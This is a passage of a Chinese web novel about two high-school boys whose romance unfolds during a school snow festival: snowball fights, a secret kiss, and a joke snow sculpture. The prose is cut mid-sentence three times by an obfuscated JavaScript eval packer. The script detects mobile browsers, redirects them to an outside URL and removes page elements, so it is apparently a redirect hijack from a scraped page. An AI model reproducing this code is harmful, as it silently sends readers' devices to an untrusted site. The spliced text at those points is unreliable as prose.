原因是已经对教学楼走廊的美观环境产生了极大的不良影响。 “怕什么?雕就完了!” 几分钟后,林藏初在这片愁云惨淡的氛围里一拍桌子,斩钉截铁地站起来。 “退一万步来讲,就算最后整出来个骡子,还能扣咱班级考核分不成吗?” “骡子又不是嚼流动红旗的——大不了最后把班牌往雪地上一插,作品名称就叫消失的艺术品。” “哈哈哈哈哈哈哈哈哈哈哈!” “太坏了,领导到时候一过来,嚯,你们班作品呢?答:搁这旮这儿呢。” “你别说。”高姿也跟着乐,竟然真的把林藏初的话认真思考了几秒。 “这想法听着还挺有可行性的——就是不知道会不会被贝姐追着打。” 周扬撇了撇嘴,随口接道:“贝姐才不会关心这些,贝姐只会关心咱下次月考的数学平均分有没有过一百二。” ——他这话还真就说错了。 不同以往,邱贝显然对这次的冰雪节活动尤为重视,甚至慷慨奉献出一整个数学晚自习,让学生们自告奋勇地下楼做雪雕。 “整天学习也怪累的,正好能有个机会让你们放松放松,都踊跃参与啊!”Says 贝姐。 于是月黑风高,阴风怒号。 被班主任好心赶下楼玩雪的一班同学在漆黑的冰天雪地里面面相觑。 周扬把自己裹得像个粽子:“……贝姐这次认真的?” “真就一节课都不上,把咱赶下来随便玩儿?” “算是吧。”林藏初把脑袋往厚厚的围巾里藏了藏,转头盯着方有才怀里那个专门用来装雕雪工具的桶,发现里面空空如也。 周扬也看见了:“不是,方哥,你工具呢?” “啊——啊嚏!” 方有才走在最后面,一阵冷风顺着北楼墙壁吹过来,他忍不住打了个喷嚏。 等再睁眼的时候,就看见两道视线齐刷刷地对着自己。 方有才心虚地搓了搓有些发痒的鼻子:“刚才二班的班长路过,被借走了。” “……全借走了?” 林藏初和周扬异口同声地问。 被问的人抱着桶郑重点头。 “是的,全借走了。” “去他丫的!这能忍?” 折返回来的体委正好听见这两句话,立刻义愤填膺地把身边最近的同学拽出去半米。 “走,咱找二班要去!” “哎——哎!别扯我校服棉袄!” 被扯住的同学试图挣扎未果,在几人震惊的注目礼下被体委拖走了,手上还挥舞着一本高考英语必背三千词。 “我还要背单词……” “嗨,不差这一会儿!” 声音渐行渐远,最后消失不见了。 周扬目送着雪地上的两道影子在远处交汇进了二班队伍,不确定地问:“真能要回来吗?” 林藏初:“不好说。毕竟……” “毕竟不知道现在工具到底是在二班那边,还是在三班、四班,又或是五班的手里。” 谢遥集默契地接过话头。 周扬:“……”还能这么玩儿呢? 好在雕雪的工具虽然没有了,但平时用来铲雪的铁锹还在,被几个学生拄在手里,颇有一种拔剑四顾心茫然的既视感。 “姿姐,咱往哪儿铲啊?” 其中一个同学出声问。 高姿还在等派去打听别班进度消息的人,转过头幽幽道:“实不相瞒,我也不知道。” 她也是出来之后才发现,原来被赶下楼的班级不止他们,隔壁的高三(2)班、高三(4)班,还有其他楼层的普通班级,也都轰轰烈烈地在操场上玩雪。 ……不知道在忙什么,总之都挺忙的。 不知过了多久,打探消息的同学终于回来了。 高姿立刻问:“怎么样?” 周围人跟着屏息静气地等了一大片。 同学:“唉。” 以高姿为首,围观群众的心全都唰地凉了半截。 有人颤着声音问:“难道别班的雪雕全做成了?” “还做得特别好看?特别有创意?” 旁边的人紧跟着补充。 打探消息的同学:“……那倒没有。” 周围人齐刷刷松口气,然后就又听见他讲:“只是其他班都在比赛堆雪人,赢了好像还有奖品。” “咱们班的地盘离得太远了,似乎,大概、可能也许……” “被孤立了”这四个字还没说完,旁边就已经有人风风火火地冲了出去。 “我草,竟然不带咱!找上二班兄弟一起去!不就是堆雪人吗?谁不会啊!” “就是!谁不会啊!!” 其他人也一呼百应地跑了。 周围原本人挤人的雪地瞬间变得空旷起来,剩下的同学寥寥无几。 高姿有些好笑地摇摇头。 她看着远处已经开始打雪仗混战的同班同学,又叹口气,心里发愁地想着等会儿要怎么在班主任面前给这帮人圆谎。 视线不经意扫到教学楼的窗户,高姿一抬头,整个人都愣住了。 邱贝靠在五楼的窗户边,正往这边望着,也不知是已经站了多久。 几秒钟后,她朝着高姿摆了摆手。 北教学楼的这个高度和位置,要说什么都没看见是不可能的。 高姿想起来自家班级里忙着跑去堆雪人的一群跳马猴子——他们跑过去的时候,知道老师也在看吗? 但是贝姐没说话,也没阻止。 高姿低着头认真地想了想,忽然懂了。 ……这大概就是贝姐想要的效果吧。 那个摆手的意思是在说:不用管我,你们好(hǎo)好(hāo)玩儿。 高大委员鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14268089|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头一酸,在教室里被雪花般的试卷压得沉甸甸没觉得难受,等到出了教学楼真淋到雪花时又有点想哭。 她吸了吸鼻腔,回头喊那些顾忌着规矩,还停在原地不敢跑过去玩的同学:“今晚没有任务了。” “走啊,咱们也去堆雪人。” 这话是自由活动的意思。 剩下的人虽然不明就里,但本着对高姿的信任,也欢呼雀跃地就地解散了。 谢遥集也看见了站在教学楼窗户旁边的人,心下了然,转头问林藏初:“走吗?” “去哪儿?” 林藏初把棉袄的连帽往下拽了拽,声音闷闷地裹在围巾里。 他之前的那条围巾已经送给了谢遥集,现在脖子上围着条新的,是平日很少见的深红色。 谢遥集盯着那抹深红色看,插在口袋里的手下意识地抬了起来。 他缓了缓神,尽量让自己的语气听上去不那么刻意:“去……” 想要整理围巾的手指还没碰到对方,就被不知从哪扔过来的一个雪球给打断了。 团成球的雪团是刚捏好的,砸过来的时候就已经快散了,撞在林藏初的肩背上碎掉,正好扬了两人满身的雪。 “林哥——!” 周扬在远处踩着雪堆,朝他晃了晃手里的雪球,“要不要——来玩打雪仗——!” 他说这话的时候没防备,后脑勺被身后飞来的雪球砸了个正着。 “草,哪个孙子偷袭我!” 体委躲在树后面抛着刚攥好的雪球:“这还躲不开啊?菜!” “卑鄙!无耻!”周扬立刻带着愤怒张牙舞爪地扑过去,半途还不忘攥了个更大的雪球扔过去,“你丫的,这次不赢你我就不姓周!” 林藏初看着两人你追我赶地先后窜进雪堆,还没来得及笑呢,后背就又挨了一记雪球攻击。 “?” 周围雪球乱飞,根本看不清是谁砸的。 ……看来今天这场打雪仗,他是不玩也得玩。 林藏初幽幽地叹了口气,也准备加入这场乱七八糟的打雪仗混战,于是抬手就把脑袋上碍事的帽子往下拽—— 没拽动。 “……?” 他的手被另一只稍大的手掌不由分说地盖住,不仅阻拦了林藏初的动作,还反其道而行地把摘了半截的帽子重新往下压了压。 ——盖得更严实了。 虽然两个人确定关系已经将近一周,但林藏初还是会偶尔不适应这种转变。 尤其是谢遥集。 “别摘,容易感冒。” 他听见这人略微认真的语气,然后看着对方弯腰又起身,手里已经多了团偌大的雪球—— 林藏初还没意识到他要做什么,一道利落的抛物线就在空中闪了过去。 远处雪堆的阴影后面霎时传来哎呦声:“我草!谁砸的这么疼!” “哈哈!风水轮流转啊,叫你刚才乱砸吧,活该。” 旁边有人幸灾乐祸跟着地笑,声音远远地传过来。 “……你刚才看见了?” 林藏初转过头,有些诧异地问。 方才被人砸到的地方还剩了些雪,挂在衣服上,此刻都被谢遥集伸手拍掉了。 “是啊。看见了。” 谢遥集盯着少爷掌心里那只没来得及扔出去的雪球,“也算报仇了,就是准头有点不好。” 66.Chapter 66 林藏初最后还是跟着一起加入了这场打雪仗的混战。 原因无他,只因为谢遥集实在是被雪球砸得太惨——最开始还只是同学之间的幼稚报复,到后来终于有人觉出来这好像是谢学神第一次参与这种集体游戏。 ……于是场面一发不可收拾。 林藏初替他挡下第十三个砸过来的雪球时,终于忍不住转头问:“你这到底是得罪了多少人啊?” 谢遥集:“……我没有。” 又一个雪球从不知哪个犄角旮旯飞过来,他偏头躲过,很赶巧地看到幕后主手的脸:“……” 好像是之前某个被他拒绝过请求的人。 谢遥集对人和事向来记性好,看见的第一眼就认出来了。 只是这话不能跟林藏初讲,谢会长自己默默地把这份私人恩怨给咽进喉咙,不知为何,又忽然想起某个很寻常的下午来。 林藏初这话倒也没说错,他好像确实“得罪”过很多人。 拒绝掉的情书尚且不算,光是送奶茶套近乎的,或直白或委婉地过来问可不可以帮忙考试作弊的,就能轻松数出来一箩筐。 这些人都被谢遥集以一种礼貌而又疏离的方式挡了回去,直到那天下午。 某个学生会部门的部员在走廊里喊住他,问:“那个……谢会长,你是不是在跟林神做同桌呀?” 看见谢遥集点头,女生从口袋里小心翼翼地掏出来一封信,腼腆雀跃地拜托道: “可以帮我把这个转交给林神吗?我本来想自己送的,但是他好像不太爱出班级。” 后来女生又絮絮叨叨地讲了些什么,好像是曾经被林神帮过忙,又好像是没来得及道谢,谢遥集记不太清了。 他只记得自己当时第一次在外人面前冷了脸色,几乎是从牙缝里挤出来的回答:“抱歉,我和他不熟。你找别人吧。” 女生倒也没说什么,似乎是真的信了谢遥集漏洞百出的谎话,抱着信封有些失落地转身走了。 剩下谢遥集一个人站在原地,却迟迟挪不开脚步。 林藏初一直不怎么主动跟外班的人接触,所以那些诸如“脾气差”“不好相处”的传闻才会喧嚣尘上,成了整个年级对于这位“富二代少爷”心照不宣的刻板印象。 那如果这种“刻板印象”有朝一日被人打破了呢? 谢遥集能想到这种情况发生的后果。 无外乎满满一桌屉的情书和礼物,班级门口装作路过不经意看过来的视线。 冠以“同桌”名义的林藏初不再属于他——至少不再只属于他一个人。 他又想到刚才那封被中途拦截的情书,心里竟然还有点高兴。 看吧。谢遥集对自己说,你就是这么恶劣的一个人。 又一个雪球生风似的从远处砸过来,谢遥集恍然回神,脚下稳稳地站着,这回没躲。 于是头发和衣服上都粘了雪,少爷刚莽足劲朝着对面反击过一轮,把人砸得缩在树后面不敢露头,一转头发现自家男朋友也中了招,立刻担忧又着急地过来帮人掸袖子:“怎么搞的这是?” 谢遥集面上看不出一点端倪:“对面扔得太快了,没躲开。” “操他娘的,竟然敢这么欺负咱。”林藏初出离愤怒了,“我要找个大的,看我不把他们——” 谢遥集伸出手,往下拽了拽他滑下去的帽子,把林藏初剩下的话都压没了声儿。 “我有点儿玩累了。”他将对方的围巾重新拢紧,半是玩笑半是认真地低声问,“林小少爷,要不要一起‘私奔’啊?” 林藏初手里捏着的雪球啪嗒掉在雪地上,跟着男朋友无比跳跃的思维很缓慢地发出一个单音节:“……啥?” 偌大的操场上夜色昏沉、人影幢幢,沉浸在打雪仗里的同学们并没发现他们的目标阵营里少了两个人。 谢遥集这招苦肉计使得恰到好处且悄无声息,少爷不疑有他,潜意识里把这句“私奔”当成了和平日一样的玩笑话。 他被谢遥集扯出人声鼎沸的操场跑道,顺着北教学楼旁边偏僻的小径步伐匆匆地走,热闹的欢声笑语越来越远,越来越难以听清。 到最后周围只剩下了两人份的呼吸声。 林少爷终于觉出不对劲来:“……这是要去哪儿啊?” “不是说了吗。”又走过一处长着灌木丛的拐角,谢遥集抓着他手腕的力道很紧,“私奔。” 林藏初:“……?” 来真的啊? 他被拽着又往前走了两步,脚底忽然踩到枯树枝,发出细微的咔嚓声响。 不远处是两棵覆雪料峭的矮樱桃树。再往前是面被人踩满鞋印的围墙,看着好生眼熟。 ……确实眼熟。几个月前他还在墙头上碰见过谢遥集呢。 林藏初自诩已经很多天没有逃过课,现在还能黑灯瞎火地认出来这面墙,纯属是开水锅里煮寿星——老熟人了。 他看一眼墙,又看一眼把自己专门领过来的谢遥集,一个大胆的猜测在脑海里缓缓成型:“你今天有补课任务?” 谢遥集:“……” 有时候真想掀开这人的脑袋,看看里面到底装了什么。 谢遥集沉默一阵,终于还是在林小少爷“不说话是不是被我说中了”的灼热目光中败下阵来。 谢遥集:“我没有……” ……算了。 他叹了口气,把面前某个不解风情的人身体掰过来,简言道:“抬头。” “?” 林藏初不明就里,但还是乖乖听话地跟着仰起了头。 他看见高处的墙面上挂满雪,几簇盈白的梅花从外面探进来,开在歪扭零落的砖头缝里。 疏枝横玉,点珠照琼。 林藏初一愣,发觉自己从来没注意过。以往逃课翻墙的时候看见,他只当这是棵死树。 夏天也不见叶子,春天又不抽芽,林藏初几乎没分过眼神给它—— 究竟什么时候活过来的? “前些天偶然经过这边,看见树枝上结了花苞。”谢遥集踩着雪走过来,肩并肩地与他站着,“算下来正好是这两天开。” 周围的雪地平整而干净,只有他们两个人的脚印。 “——我们是第一个看见它的。” 谢遥集朝着林藏初眨眨眼。 枯木逢生的奇景被借花献佛地拿来哄了人,光明正大把少爷从热热闹闹的人群里骗走,骗来这一方只有两个人的小小净土。 偏偏受骗者不自知,漂亮的瞳孔里映着皑皑雪色,梅花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14329104|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看够了,又开始亮晶晶地盯着罪魁祸首瞧。 谢遥集的头发比之前又长了些,兴许是没什么时间打理,发梢自然松散地搭在脖颈上。 那双狭长勾人的桃花眼藏在镜片后面,乍一看是谢会长惯常的礼貌温和,但若是仔细瞧,又能品出来些别的。 林藏初忽然很想试一试。 他没作商量,念头浮现在心里的下一瞬,便已经朝着人悄悄地伸了手。 细框眼镜被少爷指尖一勾就到了掌心,谢遥集一愣,下意识伸手摸了摸自己空荡荡的鼻梁。 视野瞬间变得模糊起来,他有些不习惯地闭了闭眼睛。于是林藏初很近地凑过来,清楚地看见这人长在眼睑上方的小痣。 美色在前,少爷实在没忍住,伸出手去轻轻碰了下。 谢遥集的眼睫狠狠一颤,几乎是在林藏初收回手的瞬间就紧跟着睁开,他躲闪不及,反倒被这人深邃锐利的视线看了个正着。 ……书上说的果然是对的。 被对方用力抓住手腕的时候,林小少爷念头恍惚地想。 原来某些人摘下眼镜之后,真的是另外一副模样——譬如他面前站着的这个。 凶狠的吻撞上来,林藏初的嘴巴都跟着麻了半边。他几乎是下意识地想后退,又被谢遥集按着背强制性地扳回来。 唇齿相接间是呼吸时带出的白雾,对方的舌尖强硬地撬开他的齿关,林藏初尝到一点薄荷的味道,冷得像是雪山上凛冽的风。 两个人跌跌撞撞地往墙边走,他的后背抵上坚硬的砖墙,再无逃跑的余地。林藏初被吻得几乎窒息,迷迷糊糊地想起来,这好像是谢遥集第二次亲他。 不同于第一次的浅尝辄止,更多的是不加掩饰的、压抑多时的欲望。又或者说,是一种对于率先违规者的恶意惩罚。 略微泛红的眼尾不受控制地沁出泪水,又被对方冰凉的拇指轻轻抿去。 林藏初闭着眼睛不敢睁开,身体的感官和触觉在黑暗中被无限放大,他听见耳边谢遥集略微发哑的嗓音:“换气啊,少爷。” “你要把自己憋死在这里吗?” …… 谢遥集松开他的时候,林藏初已经有些站不稳了。 半个身体都倚在墙面上,手软脚也软,只有胸腔里鼓噪的心跳还在继续。 都是情侣了,突然亲一下也没什么好奇怪的。 就是……太丢脸了。 林藏初尽量忽略自己腿间的那一点异常,故作平静地站直身体,只是眼神还在往谢遥集身上瞟。 除了外套已经被自己胡乱抓到皱得不能看,其他地方就跟平时没什么两样。 林藏初又想起方才谢遥集提醒他的话。 这人刚才是笑了吧?绝对笑了吧? 为什么自己就这么狼狈,他就那么熟练啊?这玩意难不成也讲究天赋的吗? 林小少爷想这几句话的时候,全然已经忘了自己手里还攥着对方的眼镜。 于是几秒钟后,谢遥集又俯身过来,修长好看的手指从他垂在身侧的掌心交握勾过去,连人带物地一起握住了。 “怎么还会摘人眼镜了。”少爷听见他漫不经心的口吻,就像平常为自己讲题时那样。 “……从哪里学的?” 67.Chapter 67 “……你管我呢?” 林藏初硬撑着语气回他,但是仔细听就能听出来里面的底气不足。 少爷脸和耳垂的红晕未散,错开对面似有若无的揶揄视线,嘴里小声咕哝道:“再说了,谁知道真的跟书上讲的……” 最后几个字谢遥集没听清,也可能是听清了但不说:“什么?” “没什么!”林藏初立刻杯弓蛇影地向后退了半步,打着哈哈转移话题,“我们回去吧?高姿他们找不到人该着急了。” 谢遥集嗯了一声,向前伸手,把对方在这场漫长亲吻中扯松弄乱的围巾拽离了些,冷风瞬间顺着缝隙灌进脖颈,林藏初被冻得缩了缩,怕痒似的直往旁边撤:“……你干嘛?” “围巾松了,重新缠一下。” 谢遥集解释的同时手上动作也没停,短短几秒已经把人连脖子带脸地裹成一枚崭新的粽子,“不然叫人看见就不好了。” ……? 看见什么? 林藏初的脑袋还在缓慢咀嚼最后这句话,深红色的围巾被修长手指抵着嘴唇紧紧地缠过来,碰到细微发肿的地方,牵起一阵细密的疼来—— 林藏初:“……” 好像知道说的是什么了。 谢遥集这狗逼竟然把他的嘴啃破了!! 那他以后还怎么见人?!! 像是终于意识到事情的严重性,林大少爷愤怒地仰头瞪人,未果。 因为谢遥集的手已经绕过他的后脖颈,拎起那只厚重的棉帽,不由分说地盖在林藏初的脑袋上,将某人试图控诉的视线挡了个严实。 谢遥集借着月光,左看右看地把人端详一阵,不放心地把帽沿又向下扣了扣。 随后他满意道:“这下好了,走吧。” 林藏初:“……” 林藏初怀疑这人就是故意的。 但他没有证据,只能愤愤然地在心里想了一路,期间给谢遥集起了无数个千奇百怪的绰号,什么王八缩壳打水漂,什么狐狸尾巴露头就秒…… 是长是短、是好是坏,与谢遥集本人有关还是无关,少爷一概不论,只要想到个词就往外蹦。 蹦到第三十个的时候,他听见远处同学遥遥的喊声:“林——哥——!” 林藏初一怔,这才发现自己已经跟着谢遥集走回了操场中央。 方才喊他的周扬像只兔子似地窜过来:“找你半天都没找到,你去哪儿了?” 操场上的嬉闹吵嚷声由远及近,林藏初想起自己方才去的地方,那枝探过墙头的白梅和冰凉的、粗砺不平的墙面。 以及茫茫雪地里两串彼此交织的脚印。 “……” 林藏初头一次觉得有些燥得慌,修长手指摩挲的触感像是仍残留在后脖颈,他差点被自己的口水呛住,下意识地往旁边看。 谢遥集安静地等在一旁,又重新做回了那个其他人面前温文尔雅、临危不乱的“谢会长”。 察觉到林藏初投过来的视线,还冲着人好脾气地笑了笑——丝毫没有要出言解围的意思。 林藏初:“……”丫的,真会演。 场外求助失败,少爷在周扬好奇探寻的眼神下,木着脸避重就轻地答:“有点事耽搁了。” “你找我?” 周扬被他的话往外一拨,也想起来高姿交给自己的任务:“哦,不是我找,是姿姐她要跟你商量冰雪节的事。” “好像是大家紧密地讨论了一下,终于从无数个扯淡的方案里挑出来个最靠谱的,也就是你当时的提议。” 林藏初:“?” 他当时提议什么来着? ……把班牌往雪地上一插? 消失的艺术品? 林藏初简直难以置信:“真的假的?” “咱班真要弄这个啊?” 周扬点点头,领着两个人迈过中间地面上因为打雪仗留下的一片狼藉,又穿过北教学楼两面透风的大厅,掀开玻璃大门后的棉门帘。 “真的,而且在此基础上,还有了一个来自英语课代表的升级加强版方案。” 林藏初:“……?” - 周五下午。冰雪节。 学校特意腾出来半天假期用作此次活动的展览,银装素裹的操场焕然一新,地面上绝大多数的雪堆都已经摇身一变,成了憨态可掬、栩栩如生的雪雕艺术品。 林藏初站在北教学楼的正门口,当初随口一提的建议成功被落实,在方有才的“升级加强版”下,摇身一变,成了高三(1)班同学自豪骄傲的冰雪节作品展示。 蓝白相间的班牌泡沫板大咧咧地插在雪堆上,后面是临水一中建校伊始就在的铜制马匹雕塑—— 马匹雕塑已经被一班同学用雪全身上下地糊过一遍,滥竽充数地成了此次冰雪节展览的其中一员。 只有最上面够不到的马头还漏了一截原本的铜制黄色,从侧面往上看就好像刻意而为之的黄毛挑染。 谢遥集手里拿着负责统计各班作品名字的本子,转头问:“它叫什么?” 林藏初:“消……消失的马?” “去去去,不懂别乱说。” 作品名义上的负责人方有才挤开他,努力地把脑袋凑过来:“咱班的作品名字叫一马当先!” “一马当先?” 谢遥集动笔之前走流程地重新确认。 “呃,马到成功也行。”方有才认真想了想,“这俩都挺有意境的,也很符合这次活动积极向上的主题观念……” 林藏初纳闷:“咱班什么时候想的作品名字啊?我怎么不知道?” 方有才:“就刚刚,两秒钟前。” 林藏初:“……” 林藏初忍无可忍地作势要掐他的脖子,被方有才嘻嘻哈哈地笑着求饶躲开:“林哥!林哥!哎呦我错了我错了对不起……” 谢遥集没有抬头,垂着眼睛记好高三(1)班的作品情况,他收起本子,语气平静地对着林藏初道:“我还要去统计其他班的雪雕作品,一起?” “好啊。”林藏初的注意力瞬间被转移,什么马啊骡子啊全都被他抛在了脑袋后面,其中也包括被自己收拾到一半的方有才,“现在就走?” 谢遥集:“嗯。” 他拽着谢遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361259|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 集像阵风一样地跑走了,留下被林藏初松开衣领的方有才站在原地,跟剩下的同学面面相觑。 旁边的同学喃喃:“我没看错吧?” “刚才那是谢神和林神吧?” “他俩什么时候好到能勾肩搭背一起走的程度了?” 方有才看着他俩的背影,觉得有点怪,又说不上到底是哪里奇怪,但是总感觉心里毛毛的:“毕竟同桌嘛,关系变好也正常……” 他话说到一半倏地止了音,又想起当初年级友谊篮球赛的时候,他和林藏初打闹时谢遥集看过来的那个眼神。 方有才后知后觉地意识到了些什么。 ……不能吧? 林藏初并不知道他这随手拽着谢遥集跑走的一幕,给班级同学带来了多大的心理震撼,因为两个人刚走到北教学楼的拐角处,谢遥集就反客为主地握住了他的手腕。 从他抓着谢遥集的衣袖变成了谢遥集牵着他的手指,掌心向内,是个十指相扣的姿势。 林藏初脸有点烧,下意识挣了下,没挣开。 “你干嘛呀?”他用另一只空着的手去拍谢遥集的胳膊,“这边这么多人……” “有衣服挡着呢。看不见的。” 谢遥集面色不变,就好像拽着林藏初不撒手的人不是他一样,“你要是实在担心,也可以换种方式。” 话音刚落,林藏初的手被谢遥集揣进了他自己的外套口袋里。 动作自然一气呵成,仿佛提前排练了很多遍。 林藏初:“?” 掩耳盗铃是吧? 这个姿势走路实在是别扭,他又试着把自己的手指抽出来——不出意外地失败了。 校服外套的口袋都是统一的内深外窄,开口处能容纳两个高中男生的手腕已经是强弓之末。除非谢遥集率先松手,否则林藏初就是把自己的手指拽断都出不来。 不是,好端端的这人发什么疯啊? 林藏初觉得他简直是有病,但是此刻受制于人,还是忍着没有把自己的心理话说出来。 两个人就这么连体婴似的,拉拉扯扯地往前又走出去几十米,林藏初甚至都有些习惯了这个别扭的走路姿势,直到碰见熟人。 陆明书从操场那边就远远地看到两抹熟悉的身影,兴高采烈地过来打招呼:“谢神!林——” “……林神?” 即将扑到面前的人直直地刹住了车,陆明书瞪大双眼盯着二人紧密相连、隐入口袋的手:“?” 林藏初:“。” 早恋奸情眼看着就要暴露,林藏初疯狂想要把手从谢遥集的衣服兜里抽出来,甚至还用力掐了下这人的食指指骨。 谢遥集像是感觉不到痛,无辜地回他一个眼神:“?” 林藏初:“……” 林藏初:“…………” 对面陆团委的表情愈发疑惑,看着两个人的眼神也越来越惊恐。 林藏初缓缓吐出口气,咬着牙,解释的话一字一顿地往外蹦。 “……我手冷。” “谢遥集人好心善,慷慨大方地把他温暖的校服口袋分享给了我。” 68.Chapter 68 话音刚落,林藏初很明显地看见谢遥集的嘴角向上扯了扯。 林藏初:“……” 少爷藏在衣服口袋里的手指狠狠地往对方的手背上掐了个指甲印。 谢遥集没忍住嘶了声,但自知理亏,赶在陆明书看过来之前,装作什么事都没发生地压下表情。 “这鬼天气是挺冷的……” 陆明书挠挠头,也不知到底是信没信林藏初这个左支右绌的借口。 总之他左看右看了一阵,发现方圆五十米除了他们仨再无其他人,立刻抛弃了仅剩的规矩和矜持,像是被人夺舍一样热泪盈眶地扑了上来:“林哥!好久不见!!” “——我好想你啊!” 从哪班哪班的谁打篮球把腿摔骨折开始讲起,一直讲到他被迫给亲戚家不学习的表弟当家教,再讲到听见自家班主任说学校要月考改革…… 倒豆子似的,把这两个月以来没跟人聊过的天一口气全聊了。 林藏初被他紧紧拥抱又重重放下,最开始还能跟着应和两句,到后来脑袋已经完全木了。 他的手还插在谢遥集的口袋里,几秒过后,忽然被对方曲起的指节碰了碰。 林藏初朝他递过去一个眼神:? 谢遥集紧握一路的手指终于松开,食指和中指交替,在他掌心做了个走路的动作。 冰凉的指尖因为攥人攥得太久,微微沁出些汗,蜻蜓点水地碰在林藏初的掌纹上,牵扯起一阵细密震颤的痒来。 林藏初“听”懂了。 这是问他要不要走的意思。 林藏初面上表情依旧,看似仍在认真地听,实则手指在口袋里迅速地回勾了下对方的掌心。 然后他就眼睁睁地看着下一秒,谢遥集不知从哪儿掏出来个本子,脸上的笑容恰到好处:“陆同学。” “……我们接下来要去统计整个操场上的作品情况,你要一起来吗?” 明明每个字单独听起来都是邀请的含义,但是不知道为什么,林藏初就是有一种陆团委绝对不会答应的预感。 果然,陆明书受宠若惊地摆摆手:“原来谢神你们还有事情要忙啊?” “不了不了,你们忙,我就不去添乱了。” 谢遥集礼貌微笑着目送他离开。 “好的,下次见。” ……这叫什么?以退为进吗? 林藏初看得目瞪口呆,想了半天也没参透其中的深邃奥秘,而后他的发顶被谢遥集伸手呼噜了一下。 谢遥集:“走啊?怎么还在愣着。” 林藏初按着被弄乱的头发,抬脚跟上他,想了想嘴上还是问了:“你是怎么做到的?” “什么?” “就刚才那个呀。这应该怎么形容……说话的艺术?” 谢遥集的步子迈得不疾不徐,林藏初就算倒着走也能轻松跟得上,“教教我呗。” 林小少爷背手走在前面,虚虚地拦着谢遥集的去路,眼睛亮亮的:“我也想学。” “学什么?”谢遥集没忍住弯了下嘴角,然后又马上故作严肃地问,“学以后要怎么技术精湛地忽悠人?” 没等林藏初反驳,他又接道:“这个教不了。这个是天生就会的,没办法。” “……你!” 林少爷感觉自己好像被谢遥集耍了,但是没有证据。 他把剩下两个脏字咽回喉咙里,面无表情地转过身,扭头不去看人—— 下一秒手腕就被人抓住,幅度很轻地晃了晃,带着点难得的讨好意味在:“生气了?” 林藏初:“。” “真生气了?” 被轻轻握着的手腕又跟着对方的动作晃了晃,这次的幅度比上次大了一点。 林藏初其实没生气,加上脸皮又薄,谢遥集晃到第四下的时候就撑不住了,一秒破功:“你把我胳膊晃掉算了。” “那可不行。”谢遥集说,“晃掉了我以后就牵不到了。” 好像有的人就是会对“讲情话”这种事无师自通,林小少爷长这么大,头一回因为一句简单的话耳尖冒红。 谢遥集讲情话的本领和他坑蒙拐骗的能力一脉相承,都厉害得让人招架不住。 林藏初气性很大地想,或许自己以后要随身携带一卷很宽的透明胶带—— 讲不过又吵不动的时候,干脆就把这人的嘴给粘上,叫他别说话了。 谢遥集在身后快走几步跟上来,替他把弄散的围巾往里掖了掖。 “不是所有的事都是值得学的。” 谢遥集低着头,林藏初看不清他的表情,但总觉得这个人现在并不是很高兴,但语气里听着又像是揶揄的占比要多一点。 还有一句话谢遥集没有说,他想说自己身上能拿得出手的地方实在太少,林藏初没必要、也没理由去学。 比如刻在骨子里的虚与委蛇,又比如这种在外人面前近乎畸形的“占有欲”。 如果林藏初某天终于不再迟钝,清楚地察觉到这种枷锁和控制,他会和自己分手吗? ……会因为被蒙在鼓里,所以指着他的鼻子破口大骂吗?又或者从此尘归尘土归土,连一个多余的眼神都不肯给他? “——前面是不是十六班的地盘啊?” 陷入死胡同的思维倏地被林藏初的声音打断了。 少爷像往常一样拍了下他的肩膀,亲昵地把人勾过去:“好多人在那边,过去看看?” 谢遥集微不可察地回过神,顺着林藏初手指的方向看过去。西篮球场的围栏附近,一群人正叽叽喳喳你推我搡地围在一个巨大的雪堆前面,场面十分之壮观。 紧接着,人群里不知是谁最先回头,发现十几米开外的谢遥集二人—— “哎,那是谢神吗?他旁边的是谁啊?” “旁边的?”最外围的女生被同伴拍了下,注意力也跟着转移过去,“好像是同班的那个少爷,叫林什么来着……” “林藏初!” 不知从哪儿冒出来一声惊喜的呼喊,女生转过头,看见自己班的孔霄在人群中奋力挥舞手臂,“林哥!!好巧啊!” 林藏初正拉着谢遥集往这边走,猝不及防听见前方五米外的位置有人叫他:“?” 他眯了下眼,花几秒钟从众人中确认出声音来源——是个有点眼熟的面孔。 好像是上上次月考坐他后面的那个,因为锲而不舍地想让自己抄他的卷子,到最后两个人都喜提三千字检讨的“革命战友”。 林藏初在记忆里仔细翻找一阵,不确定地喊道:“孔霄?” “哎!是我是我!” 孔霄扒开人群钻出来,说话的语气雀跃,“林哥你竟然还记得我的名字!” 林藏初轻咳一声,避开他的视线,含糊点头:“当然。” “那个,你们班这次冰雪节做的什么啊?从外面看着好热闹。” 眼看着对方有心要叙旧,林藏初立刻抢占先机,主动起了个不那么冗长的话头。 